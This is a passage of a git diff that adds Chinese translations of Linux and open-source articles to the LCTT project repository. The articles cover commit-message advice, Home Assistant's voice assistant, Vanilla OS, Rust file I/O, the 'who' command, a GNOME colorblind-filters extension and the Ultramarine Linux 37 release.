+如果提供的唯一的上下文是指向某个外部系统的链接,并且在未来很长一段时间内,它所链接的系统不再使用,或者该用户无法访问,那么你的提交信息将变得无用,可能还不如空白。 + +我经常去挖掘一些开源项目的 Git 历史,发现有些提交信息无非就是一个 Bug ID,或者是某个公司内部的和专用的缺陷跟踪器的链接。 + +不要依赖链接! + +—— [Jeremy Stanley][4] + +### 清晰简洁的变更日志 + +作为一名发布沟通经理,我会经常阅读整个发布版块。我还会与开发人员会面,讨论任何尚未明确的领域。然后我提前测试了版本。之后,我将通过寻找变更日志和相应的修订或新内容来撰写发布文章。 + +变更日志是开发人员的个人提醒,但也有相应的提议和工单。你应该适当地将产品名称大写,使用拼写检查器,与标点符号和句子结构保持一致。首席开发人员也应该校对这些。你的客户,即开发人员,正在阅读这些内容。在运行更新之前,他们应该了解哪些信息能更好地为客户服务? + +—— [Courtney Robertson][11] + +### 具体一点 + +作为一个经常性的发布经理,我喜欢带有组件名称的提交的信息,以及对更改内容的简要描述。在我们忘记了你聪明的分支名称之后,还可以参考一下这项工作的请求来自何处,这有助于将修复程序联系在一起。 + +- “修复致命错误”并不是理想的提交。 +- “ISS-304: 修复具有合作伙伴角色的用户在登录访问控制功能中的致命错误”更好。 +- “ISS-304: 登录访问控制:修复 `getPartnerId()` 的致命错误”也更好。 + +我可以查看 Git 提交、分支、合并提交之间的整个关系,并检查更改的各个行和文件。但我在发布过程中没有这样的时间。我希望能够在项目管理工具回溯这项工作的源头,了解哪些组件正在被更改,以及以何种方式进行更改。 + +—— [Ryan Price][12] + +### 让它成为一种习惯 + +我最喜欢犯的错误是“在我切换分支之前提交”,因为我必须处理其他更紧急的事情。有时候,我需要把我目前的工作提交给一个完全不同的项目。我的经理的策略是让我们像平时一样工作。但当我们变基时,他希望我们在有意义的地方压扁提交,并编写更好的信息。我不能说我们总是这样做,但他的方法确实有道理。 + +我也有很多“这个坏了,不知道为什么”类型的信息(哈哈),我尝试了一些东西,但想在尝试其他东西之前提交该尝试,以防方法 A 比方法 B 更接近解决问题。我已经写了 10 多年了。 + +—— [RachieVee][13] + +你的提交信息建议或提示是什么?让我们在评论中知道。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/12/git-commit-message + +作者:[AmyJune Hineline][a] +选题:[lkxed][b] +译者:[ZhangZhanhaoxiang](https://github.com/ZhangZhanhaoxiang) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/amyjune +[b]: https://github.com/lkxed +[1]: https://opensource.com/users/spotlesstofu +[2]: https://opensource.com/resources/what-is-openstack +[3]: https://docs.openstack.org/contributors/common/git.html#commit-messages +[4]: https://opensource.com/users/fungi +[5]: https://opensource.com/users/dgtlmoon +[6]: https://opensource.com/downloads/grep-cheat-sheet +[7]: https://opensource.com/users/agantony +[8]: https://opensource.com/users/lisa +[9]: https://opensource.com/users/miriamgoldman +[10]: https://opensource.com/users/ojchris +[11]: https://opensource.com/users/courtneyrdev +[12]: https://opensource.com/users/liberatr +[13]: https://opensource.com/users/rachievee +[0]: https://img.linux.net.cn/data/attachment/album/202301/22/184300vcsqmm85ub1ssh4b.jpg \ No newline at end of file diff --git a/published/202301/20221230.0 ⭐️ An Open-Source Alternative to Google, Alexa, and Siri in Works for Home Assistant Platform.md b/published/202301/20221230.0 ⭐️ An Open-Source Alternative to Google, Alexa, and Siri in Works for Home Assistant Platform.md new file mode 100644 index 0000000000..a35da5c56a --- /dev/null +++ b/published/202301/20221230.0 ⭐️ An Open-Source Alternative to Google, Alexa, and Siri in Works for Home Assistant Platform.md @@ -0,0 +1,80 @@ +[#]: subject: "An Open-Source Alternative to Google, Alexa, and Siri in Works for Home Assistant Platform" +[#]: via: "https://news.itsfoss.com/open-source-assistant/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15426-1.html" + +Home Assistant:谷歌助理、Alexa 和 Siri 的开源替代品 +====== + +> 一个开源助手可以取代谷歌助理、Alexa 和 Siri? + +![An Open-Source Alternative to Google, Alexa, and Siri in Works for Home Assistant Platform][1] + +**Home Assistant** 是一个开源的智能家居平台,专注于为用户提供本地控制和隐私。它可以从树莓派或甚至本地服务器上运行。 + +他们还有一个订阅服务,可以获得额外的功能,如支持 Alexa 和谷歌助理,它由一家名为 “[Nabu Casa][2]” 的公司管理。 + +> 💡 该公司由 Home Assistant 的创始人 [Paulus Schoutsen][3] 领导。 + +在上周的 [博客][4] 中,Paulus 宣布了**一个新的开源项目,旨在提供一个没有主动互联网连接的语音助手**,也无需任何其他大型科技公司的语音助手。 + +这是 _一个对谷歌助理、Alexa 和 Siri 的开源挑战者?_ 😲 + +让我们看看这到底是怎么回事。 + +**它是什么?** 这将是 Home Assistant 应用的一部分,将提供在本地运行语音命令的能力,以控制连接的智能设备。 + +Paulus 还断言,他们最重要的优先事项是支持不同的语言,他说: + +> 人们需要能够用自己的语言说话,因为对于智能家居的语音助手来说,这是最容易接受和唯一可以接受的语言。 + +为了推动这一努力,Rhasspy 的创造者 [Mike Hansen][5] 已经被拉来实现这一目标。 + +对于那些不知道的人来说,[Rhasspy][6] 是另一个开源软件,专门提供一个由其用户社区支持的完全离线的语音助手。 + +如果你问我,我觉得 Home Assistant 的这个功能将由 Rhasspy 提供,这是一件好事。 + +_为什么要重新发明已经存在的东西?最好是在它的基础上进行改进。_ + +**可以期待什么?** 最初,这个语音助手做不到做你可能期待的事情。因此,像进行网络搜索、打电话、玩语音游戏等,都是不可能的。 + +它所关注的反而是**语音助手应该有的基本功能**。这样做是为了确保他们面前的工作是可控的。 + +他们的目标是从几个动作开始,然后围绕它们建立语言模型。 + +在目前的状态下,Home Assistant 在其用户界面上支持 62 种不同的语言。他们计划用他们的语音助手增加对所有这些语言的支持。 + +**何时期待?** 他们已经开始了这方面的工作,为每种语言建立一个 [意图匹配句子集合][7]。 + +这意味着社区可以通过将智能设备的命令改编成各自的母语,来为语音助手的发展做出贡献。 + +他们的目标是在 **2023** 年的某个时候发布,并提到这将是“_语音年_”。 + +我认为一个可以离线工作的开源语音助手可以是一个非常有用的东西。它可以让你不受大科技公司的任何追踪。 + +💬 _还有一个额外的好处是,它的开发背后有一个庞大的社区,有什么理由不喜欢呢?_ + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/open-source-assistant/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2022/12/open-source-home-assistant-in-works.png +[2]: https://www.nabucasa.com +[3]: https://twitter.com/balloob +[4]: https://www.home-assistant.io/blog/2022/12/20/year-of-voice/ +[5]: https://synesthesiam.com +[6]: https://rhasspy.readthedocs.io +[7]: https://github.com/home-assistant/intents diff --git a/published/202301/20221230.1 ⭐️⭐️ Vanilla OS Stable Release Has Landed!.md b/published/202301/20221230.1 ⭐️⭐️ Vanilla OS Stable Release Has Landed!.md new file mode 100644 index 0000000000..834ab618b2 --- /dev/null +++ b/published/202301/20221230.1 ⭐️⭐️ Vanilla OS Stable Release Has Landed!.md @@ -0,0 +1,137 @@ +[#]: subject: "Vanilla OS Stable Release Has Landed!" +[#]: via: "https://news.itsfoss.com/vanilla-os-release/" +[#]: author: "Sourav Rudra https://news.itsfoss.com/author/sourav/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15401-1.html" + +不普通的普通操作系统:Vanilla OS 稳定版发布了! +====== + +> Vanilla OS 已经准备好让你尝试!在这里了解令人兴奋的地方。 + +![][1] + +Vanilla OS 是一个基于 Ubuntu 的发行版,旨在为用户提供一个具有随需应变能力和自由选择软件包的 GNOME 体验。(LCTT 译注:Vanilla —— “香草”,因为作为太普通的香料,所以也有“普普通通”的意思。) + +经过几个月的测试,**Vanilla OS 的第一个版本** 终于以 **Vanilla 22.10 Kinetic** 的形式出现了,其提供了原汁原味的 **GNOME 43**。 + +在最近的一次采访中,我们问创建者:“很多人认为我们已经有太多的发行版了。为什么还要有 Vanilla OS?”,**Mirko Brombin**,分享了一些有趣的见解享。请看下面我们与他的对话,探索关于 Vanilla OS 的令人兴奋的事情: + +> **[“不要害怕做出贡献”:Mirko Brombin 谈 Vanilla OS 和其他未来项目][22]** + +Vanilla OS 有几个特点,你可能会觉得有帮助,请允许我向你介绍一下。 + +### 主要亮点 + +![Vanilla OS 22.10 Kinetic][2] + +作为一个新的发行版,Vanilla OS 有一个装备精良的功能集,你可能会喜欢。一些值得注意的亮点包括: + +- 原生安装程序 +- Vanilla OS 首次设置First Setup 功能 +- Vanilla OS 控制中心 +- apx 软件包管理器 +- 随需应变能力 + +#### 原生安装程序 + +![Vanilla OS 安装程序][3] + +Vanilla OS 有一个用 [GTK4][4] 和 [libadwaita][5] 编写的原生的安装程序,它取代了该操作系统在早期开发阶段时使用的 [Calamares][6] 安装程序。 + +![Vanilla OS 安装程序正在进行][7] + +之前,他们还宣布将使用来自 Crystal Linux 团队的 [Jade][8] 安装程序。 + +但是,他们改变了主意,选择在现有的 [Vanilla 首次设置][10] 项目之上建立 [Vanilla 安装程序][9]。 + +#### Vanilla OS 首次设置 + +![Vanilla OS 首次设置][11] + +Vanilla OS 的安装完成后,你会看到一个快速设置屏幕,上面用各种语言写着 “欢迎”。 + +![Vanilla OS 软件包管理器选择][12] + +然后它将带你完成各种设置,如选择颜色方案,选择你想要的软件包管理器,是否要安装受限制的编解码器,等等。 + +我必须说,这很方便! 😃️ + +#### Vanilla OS 控制中心 + +![Vanilla OS 控制中心][13] + +这个图形化工具使你能够对操作系统进行修改,如运行关键更新和安装额外的驱动程序。 + +#### 随需应变的不变性 + +![展示 - Vanilla OS 中的 ABRoot 事务性更新][14] + +正如上面 Vanilla OS 的创始人所展示的,这个操作系统可以提供完全的不变性和原子性,允许你在两个根分区(A/B)之间进行交易。 + +你问这是什么意思? 🤔 + +嗯,这意味着你的系统的核心部分被锁定,以防止任何不必要的变化,特别是那些由损坏的应用程序或错误的更新引起的变化。 + +Vanilla OS 使用 [ABRoot][15] 来实现这一目标,之前,他们曾尝试使用 [Almost][16],但结果并不理想。 + +![][17] + +它还有一个**智能更新功能**,他们解释如下: + +> VSO(Vanilla System Operator)是一个工具,它将定期检查更新,然后如果设备没有处于大量使用状态,就在后台下载和安装。事实上,VSO 检查是否满足某些检查条件,如资源是否空闲(CPU/RAM),连接是否允许,电池是否至少有 30% 的电量等。 + +更新是通过 ABroot 应用的,并在下一次重启时得到修补,而不需要花费额外时间。 + +#### apx 软件包管理器 + +![Vanilla OS apx][18] + +Vanilla OS 带有 [apx][19] 工具,允许你在不修改根文件系统的情况下在管理的容器内安装软件包。 + +### 下载 Vanilla OS + +如果你认为 Vanilla OS 解决了你在 Ubuntu 上遇到的问题,并且想要一个原汁原味的 GNOME 体验,那就来试试吧。 + +你可以在其 [官方博客文章][20] 中了解更多关于 Vanilla OS 22.10 的信息。 + +> **[下载 Vanilla OS][21]** + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/vanilla-os-release/ + +作者:[Sourav Rudra][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/sourav/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w2000/2022/12/vanilla-os-release.png +[2]: https://youtu.be/aDvIJ_Hu90Y +[3]: https://news.itsfoss.com/content/images/2022/12/Vanilla-OS-Installer.png +[4]: https://news.itsfoss.com/gtk-4-release/ +[5]: https://news.itsfoss.com/gnome-libadwaita-library/ +[6]: https://calamares.io +[7]: https://news.itsfoss.com/content/images/2022/12/Vanilla-OS-Installer-2.png +[8]: https://github.com/crystal-linux/jade +[9]: https://github.com/Vanilla-OS/vanilla-installer +[10]: https://github.com/Vanilla-OS/first-setup +[11]: https://news.itsfoss.com/content/images/2022/12/Vanilla-OS-First-Setup.png +[12]: https://news.itsfoss.com/content/images/2022/12/Vanilla-OS-Package-Manager.png +[13]: https://news.itsfoss.com/content/images/2022/12/Vanilla-OS-Control-Center.png +[14]: https://youtu.be/hIN-x3P12Tk +[15]: https://github.com/Vanilla-OS/ABRoot +[16]: https://documentation.vanillaos.org/docs/almost/ +[17]: https://news.itsfoss.com/content/images/2022/12/vanilla-os-updates.png +[18]: https://news.itsfoss.com/content/images/2022/12/Vanilla-OS-apx.png +[19]: https://github.com/Vanilla-OS/apx +[20]: https://vanillaos.org/2022/12/29/vanilla-os-22-10-kinetic.html +[21]: https://vanillaos.org +[22]: https://news.itsfoss.com/interview-mirko-brombin/ \ No newline at end of file diff --git a/published/202301/20230102.0 ⭐️ How to read and write files in Rust.md b/published/202301/20230102.0 ⭐️ How to read and write files in Rust.md new file mode 100644 index 0000000000..096f1282e4 --- /dev/null +++ b/published/202301/20230102.0 ⭐️ How to read and write files in Rust.md @@ -0,0 +1,116 @@ +[#]: subject: "How to read and write files in Rust" +[#]: via: "https://opensource.com/article/23/1/read-write-files-rust" +[#]: author: "Stephan Avenwedde https://opensource.com/users/hansic99" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15442-1.html" + +如何在 Rust 中读取和写入文件 +====== + +> 跟随这个演示,学习如何在 Rust 中使用文件系统模块。 + +![][0] + +知道如何读写文件对各种用途都很有用。在 Rust 中,这项任务是通过标准库中的文件系统模块([std::fs][1])完成的。在这篇文章中,我将向你介绍如何使用这个模块。 + +为了演示这项任务,我准备了一些示例代码,也可以在 [GitHub][2] 上找到。 + +### 准备工作 + +在使用 Rust 时,失败的函数会返回 [Result][3] 类型。尤其是文件系统模块会返回专门的类型 [std::io::Result][4]。有了这些知识,你可以从 `main()` 函数中返回相同的类型: + +``` +fn main() -> std::io::Result<()> { +/* ...code comes here... */ +``` + +### Rust 文件写入 + +在 Rust 中执行文件的 I/O 操作是相对容易的。写入文件可以简化为一行: + +``` +use std::fs; +fs::write("favorite_websites.txt", b"opensource.com")?; +Ok(()) +``` + +使用错误传播操作符 `(?)`,错误信息被传递到调用函数中,随后可以处理错误。由于 `main()` 是调用栈中唯一的其他函数,如果写操作失败,错误信息将被传递到控制台输出。 + +[fs::write][5] 函数的语法是非常先进的。第一个参数是文件路径,它必须是 [std::path::Path][6] 类型。第二个参数是内容,它实际上是一个字节切片(`[u8]`)。Rust 将传递的参数转换为正确的类型。幸运的是,这些类型基本上是下面的例子中所处理的唯一类型。 + +使用文件描述符类型 [std::fs::File][7] 可以实现对写操作更简洁的访问: + +``` +let mut file = fs::File::create("favorite_websites.txt")?; +file.write_all(b"opensource.com\n")?; +Ok(()) +``` + +由于文件类型实现了 [Write][8] 特性,所以可以使用相关的方法来写入文件。然而,`create` 方法可以覆盖一个已经存在的文件。 + +为了获得对文件描述符的更多控制,必须使用 [std::fs::OpenOptions][9] 类型。这提供了类似于其他语言中的打开模式: + +``` +let mut file = fs::OpenOptions::new() + .append(true) + .open("favorite_websites.txt")?; + +file.write_all(b"sourceforge.net\n")?; +``` + +### Rust 文件读取 + +适用于写的东西也适用于读。读取也可以通过简单的一行代码来完成: + +``` +let websites = fs::read_to_string("favorite_websites.txt")?; +``` + +以上一行读取文件的内容并返回一个字符串。除了读取字符串,还有 [std::fs::read][10] 函数,如果文件包含二进制数据,该函数会将数据读成一个字节向量。 + +下一个例子显示了如何将文件的内容读入内存,随后逐行打印到控制台: + +``` +let file = fs::File::open("favorite_websites.txt")?; +let lines = io::BufReader::new(file).lines(); + +for line in lines { + if let Ok(_line) = line { + println!(">>> {}", _line); + } +} +``` + +### 总结 + +如果你已经熟悉了其他编程语言,你可能已经注意到没有 `close-` 函数(或类似的)来释放文件句柄。在 Rust 中,当相关变量超出作用域,文件句柄就会被释放。为了定义关闭行为,可以在文件表示的周围应用作用域 `({ })`。我建议你熟悉 [Read][11] 和 [Write][8] 特性,因为你可以在许多其他类型中找到这个特性的实现。 + + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/1/read-write-files-rust + +作者:[Stephan Avenwedde][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/hansic99 +[b]: https://github.com/lkxed +[1]: https://doc.rust-lang.org/std/fs/ +[2]: https://github.com/hANSIc99/rust_file_io +[3]: https://doc.rust-lang.org/std/result/enum.Result.html +[4]: https://doc.rust-lang.org/std/io/type.Result.html +[5]: https://doc.rust-lang.org/std/fs/fn.write.html +[6]: https://doc.rust-lang.org/std/path/struct.Path.html +[7]: https://doc.rust-lang.org/std/fs/struct.File.html +[8]: https://doc.rust-lang.org/std/io/trait.Write.html +[9]: https://doc.rust-lang.org/std/fs/struct.OpenOptions.html# +[10]: https://doc.rust-lang.org/std/fs/fn.read.html +[11]: https://doc.rust-lang.org/std/io/trait.Read.html +[0]: https://opensource.com/sites/default/files/lead-images/rust_programming_crab_sea.png \ No newline at end of file diff --git a/published/202301/20230102.1 ⭐️ who Command in Linux Explanation with Examples.md b/published/202301/20230102.1 ⭐️ who Command in Linux Explanation with Examples.md new file mode 100644 index 0000000000..8dfae90cf2 --- /dev/null +++ b/published/202301/20230102.1 ⭐️ who Command in Linux Explanation with Examples.md @@ -0,0 +1,137 @@ +[#]: subject: "who Command in Linux: Explanation with Examples" +[#]: via: "https://www.debugpoint.com/who-command-linux/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15430-1.html" + +who 命令的解释与示例 +====== + +![][0] + +> 这里是一个关于理解 Linux 中 who 命令的初学者指南,并带有几个例子。 + +这篇文章是 [Linux 命令][1]学习系列的一部分。 + +### who 命令 + +Linux 中的 `who` 命令用于显示当前登录到系统中的用户的信息。它显示用户的登录名,用户登录的终端,用户登录的时间,以及远程主机名(如果有)。 + +#### 语法 + +下面是 `who` 命令的基本语法: + +``` +who [OPTION]... [ FILE | ARG1 ARG2 ] +``` + +### 各种 who 命令和开关的例子 + +默认情况下,`who` 读取文件 `/var/run/utmp`,其中包含当前登录的用户的信息。如果没有指定选项,它会显示每个用户的登录名、终端和登录时间。 + +``` +who +``` + +它给出了以下输出。你可以看到它显示了登录名是 `debugpoint`,终端 ID `tty2` 和登录的日期和时间。 + +``` +debugpoint tty2 2023-01-01 11:22 (tty2) +``` + +![who 命令 - 默认示例][2] + +然而,如果你在虚拟机中运行上述命令,你应该看到同样的情况,但终端 ID 将是 x11 服务器的显示名称,即 `:0`。 + +``` +❯ who +debugpoint :0 2023-01-01 23:36 (:0) +``` + +要显示当前用户的用户名和信息,使用下面的方法: + +``` +whoami +``` + +使用 `-b` 选项查看最后一次系统启动时间: + +``` +❯ who -b +system boot 2023-01-01 23:36 +``` + +显示当前系统中登录的用户数: + +``` +❯ who -q +debugpoint +users=1 +``` + +所有上述命令与 `-H` 选项配对时,你会有一个更好的含标题行的信息,如下所示: + +``` +who -H + +NAME LINE TIME COMMENT +debugpoint tty2 2023-01-01 11:22 (tty2) +``` + +如果你想在 Linux 中显示与 `who` 命令有关的所有信息,请使用选项 `-a`: + +``` +who -aH + +NAME LINE TIME IDLE PID COMMENT EXIT +system boot 2023-01-01 11:19 +run-level 5 2023-01-01 11:19 +debugpoint + tty2 2023-01-01 11:22 13:26 2042 (tty2) +``` + +像往常一样,你可以使用下面的重定向将 `who` 命令的输出保存到任何文件: + +``` +who > user_details.txt +``` + +#### who 命令选项的例子总结 + +下面是一些 `who` 命令的例子和它们的解释: + +下面是一些可以与 `who` 命令一起使用的选项: + +- `-a`: 显示每个用户的主机名、登录时间和进程 +- `-b`: 显示上次系统启动的时间 +- `-d`: 显示死进程(已终止但未从 utmp 文件中删除的进程) +- `-H`: 显示标题行 +- `-l`: 显示长格式的登录进程 +- `-m`: 只显示在 `ARG1 ARG2` 指定的终端上登录的用户的名字和行。 +- `-q`: 显示已登录用户的数量 +- `-u`: 显示拥有未脱离进程的用户的信息 +- `-w`: 显示已经登录的用户信息,格式与 utmp 文件相同 + +### 总结 + +我希望这篇文章能够帮助你了解 `who` 命令及其基本原理。你也可以阅读 [who 手册页][3]来了解更多。如果你有任何问题,请告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/who-command-linux/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/category/linux-commands +[2]: https://www.debugpoint.com/wp-content/uploads/2023/01/who-command-default-example.jpg +[3]: https://man7.org/linux/man-pages/man1/who.1.html +[0]: https://img.linux.net.cn/data/attachment/album/202301/10/130213zb6odhv8gl8cvxvo.jpg \ No newline at end of file diff --git a/published/202301/20230102.2 ⭐️ Colorblind Filters GNOME Extension to help Colorblind Users.md b/published/202301/20230102.2 ⭐️ Colorblind Filters GNOME Extension to help Colorblind Users.md new file mode 100644 index 0000000000..3aeae6f96a --- /dev/null +++ b/published/202301/20230102.2 ⭐️ Colorblind Filters GNOME Extension to help Colorblind Users.md @@ -0,0 +1,107 @@ +[#]: subject: "Colorblind Filters: GNOME Extension to help Colorblind Users" +[#]: via: "https://www.debugpoint.com/colorblind-filters-gnome-extension/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15464-1.html" + +Colorblind Filters:帮助色盲用户的 GNOME 扩展 +====== + +![][0] + +> 一个不错的 GNOME 扩展:Colorblind Filters,它为色盲用户带来了许多调整选项。 + +无障碍是计算和操作系统的一个重要方面。它包括对视力障碍、色盲和许多其他健康症状的管理设置。流行的 Linux 桌面环境,如 GNOME 和 KDE Plasma,具有无障碍设置,以帮助所有这些情况。 + +感谢 GNOME 扩展生态系统,有大量的专门扩展可以帮助这些用户。我遇到的其中一个扩展是[“Colorblind Filters”][1]。 + +### Colorblind Filters – GNOME 扩展 + +根据维基百科,_"色盲通常涉及无法区分红色和绿色的深浅。遗传性色盲症没有治疗方法。如果色盲是由其他疾病引起的,治疗潜在的原因会有帮助。"_。 + +因此,你有可以调整你的 Linux 桌面设置的选项是很重要的。 + +#### 设置扩展程序和 Flatpak + +首先,确保你已经启用了 Flatpak 和 GNOME 扩展。并且安装了扩展管理器。你可以参考这个关于如何 [设置 flatpak][2] 和启用 [GNOME 扩展][3] 的详细指南,或者从终端运行以下命令(对于 Ubuntu、Linux Mint 等)。 + +``` +sudo apt install flatpak +sudo apt install gnome-software-plugin-flatpak +flatpak remote-add --if-not-exists flathub https://flathub.org/repo/flathub.flatpakrepo +reboot + +``` + +对于 Fedora 用户,使用以下命令。 + +``` +sudo dnf install flatpak +sudo dnf install gnome-software-plugin-flatpak +flatpak remote-add --if-not-exists flathub https://flathub.org/repo/flathub.flatpakrepo +reboot +``` + +完成后,安装扩展管理器: + +``` +flatpak install com.mattjakeman.ExtensionManager +``` + +#### 安装扩展 + +从应用菜单中打开扩展管理器。搜索 “colorblind”。并安装该扩展(见下图)。 + +![安装扩展][4] + +安装后,你可以在系统托盘上看到一个小眼睛图标。你可以点击它来启用预定义的颜色过滤器。 + +![Colorblind Filters 扩展托盘图标][5] + +右键点击眼睛图标以获得更多设置。这个扩展带来了色盲集合、模拟和额外选项的所有必要定制。目前有以下选项: + +- 纠正和模拟(具有高对比度) + - 红色盲 + - 绿色盲 + - 蓝黄色盲 +- 额外的调整 + - GBR 和 BRG 的通道混合器 + - 亮度反转 + - 颜色反转 + +![Colorblind Filters - 选项][6] + +使用最适合你的眼睛的那个。 + +### 总结 + +我认为苹果的 macOS 和 iOS 已经实现了比 Windows 或 Linux 更好的无障碍。然而,Linux 桌面在这些应用和扩展方面也不落后。另外,还有一些专门的 Linux 发行版,如 “[Accessible Coconut][7]”,它是为专门的需求而建立的。 + +我希望 Colorblind GNOME 扩展对你日常使用 Linux 和 GNOME 桌面有帮助。 + +干杯。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/colorblind-filters-gnome-extension/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://extensions.gnome.org/extension/5589/colorblind-filters/ +[2]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[3]: https://www.debugpoint.com/how-to-install-and-use-gnome-shell-extensions-in-ubuntu/ +[4]: https://www.debugpoint.com/wp-content/uploads/2023/01/Install-the-extension.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2023/01/Colorblind-Filters-extension-tray-icon.gif +[6]: https://www.debugpoint.com/wp-content/uploads/2023/01/Colorblind-Filters-options.jpg +[7]: https://www.debugpoint.com/accessible-coconut-linux-visually-impaired/ +[0]: https://img.linux.net.cn/data/attachment/album/202301/21/122942m49s8o25s9ai6szs.jpg \ No newline at end of file diff --git a/published/202301/20230103.0 ⭐️⭐️ Ultramarine Linux 37 Release Adds Pop OS-Style KDE Plasma, Drops Cutefish.md b/published/202301/20230103.0 ⭐️⭐️ Ultramarine Linux 37 Release Adds Pop OS-Style KDE Plasma, Drops Cutefish.md new file mode 100644 index 0000000000..173a76f9e9 --- /dev/null +++ b/published/202301/20230103.0 ⭐️⭐️ Ultramarine Linux 37 Release Adds Pop OS-Style KDE Plasma, Drops Cutefish.md @@ -0,0 +1,87 @@ +[#]: subject: "Ultramarine Linux 37 Release Adds Pop OS-Style KDE Plasma, Drops Cutefish" +[#]: via: "https://debugpointnews.com/ultramarine-linux-37-release/" +[#]: author: "arindam https://debugpointnews.com/author/dpicubegmail-com/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15410-1.html" + +Ultramarine Linux 37 版本发布 +====== + +![][1] + +> Ultramarine Linux 的新版本来了。Ultramarine Linux 37 带有新的自定义软件仓库、KDE Plasma 特色版等等。 + +如果你不知道,Ultramarine Linux 是一个基于 Fedora 的发行版,提供了 Budgie、Pantheon、GNOME 等桌面环境。这个发行版通过这些令人赞叹的桌面环境给你提供了最好的 Fedora 体验。 + +最近,这个小项目被 [FyraLabs][2] 收购,后者是 PhotonBrowser 和 tauOS 背后的公司。而这使得 Ultramarine 项目有了必要的人力和资金来继续建设他们的发行版。 + +自 Fedora 37 发布以来,该团队一直致力于重件当前版本,这包括采用新的基础设施和 CI/CD 管道迁移。终于,Ultramarine Linux 37 登场了。 + +那么,它有什么新东西呢? + +### Ultramarine Linux 37 的新功能 + +自从被 Fyralabs 收购后,该团队升级并迁移到用于自动化 CI/CD 构建的 GitHub Actions。Ultramarine 自己的软件仓库用于分发其精心组织的软件包(例如 Pantheon 桌面),它在这个版本中会发生变化,并转移到 FyraLabs 的基础设施上。 + +因此,如果你正在运行 Ultramarine 36 版本,它可能无法正常工作。你最好重新安装这个版本,因为显然没有从 36 版到 37 版的升级路径。 + +此外,Ultramarine 37 为 Fedora 软件包引入了一个名为 [Terra][3] 的滚动仓库,其中包括数百个 Fedora 不提供的应用程序。你可以认为它类似于 [RPM Fusion][4],尽管有所不同。 + +要了解更多,请访问 [本页][3] 或从命令行添加以下软件仓库: + +``` +sudo dnf config-manager --add-repo https://terra.fyralabs.com/terra.repo +``` + +事实上,这开启了一种可能性,因为你也可以尝试在 Fedora Linux 中谨慎地使用它。如果上述软件仓库能在普通的 Fedora 安装中开箱即用,那就更棒了。 + +在上述变化的基础上,Ultramarine Linux 37 首次引入了 KDE Plasma 作为官方版本。KDE Plasma 特色版带来了含有 Latte Dock 和 Lightly Qt 主题的 Pop OS 风格外观。 + +![Ultramarine Linux 37 具有独特的 Pop OS 风格的 KDE Plasma 主题][5] + +Ultramarine Linux 37 也放弃了 Cutefish 桌面,因为它目前正处于 [混乱的开发状态,没有可见的路线图][6]。这是该团队的一个很好的决定,因为打包一个已经停止的项目是没有意义的。 + +Budgie 桌面旗舰版使用上游的 Fedora 软件包,有更多的默认应用程序。最近,Fedora Linux 删除了对 elementary OS 的 Pantheon 桌面的支持,很遗憾。感谢 Ultramarine Linux 开发者,你仍然可以体验它,因为它已经被转移到新的 Terra 软件仓库中。 + +你应该庆幸,Ultramarine Linux 是唯一一个的基于 Fedora 的支持令人赞叹的 Pantheon 桌面的发行版。 + +最后,Ultramarine Linux 37 的核心基于 [Fedora 37][7],采用 Linux 主线内核 6.0。因此,所有更新的软件包和工具链都在这个版本中。 + 